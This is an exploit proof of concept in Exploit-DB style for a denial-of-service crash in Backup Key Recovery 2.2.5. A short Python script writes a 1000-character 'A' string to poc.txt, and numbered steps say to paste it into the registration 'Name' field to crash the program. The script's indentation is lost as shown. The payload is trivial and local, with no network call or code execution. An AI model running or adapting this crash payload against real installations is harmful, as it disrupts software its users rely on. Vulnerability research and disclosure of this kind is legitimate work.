# Exploit Title: Backup Key Recovery 2.2.5 - 'Name' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
# Tested on OS: Windows 10
# CVE : N/A
'''
Proof of Concept (PoC):
=======================
1.Download and install Backup Key Recovery
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Name' and click on 'Ok'
6.Backup Key Recovery Crashed
'''
#!/usr/bin/python
buffer = "A" * 1000
payload = buffer
try:
f=open("poc.txt","w")
print("[+] Creating %s bytes evil payload." %len(payload))
f.write(payload)
f.close()
print("[+] File created!")
except:
print("File cannot be created.")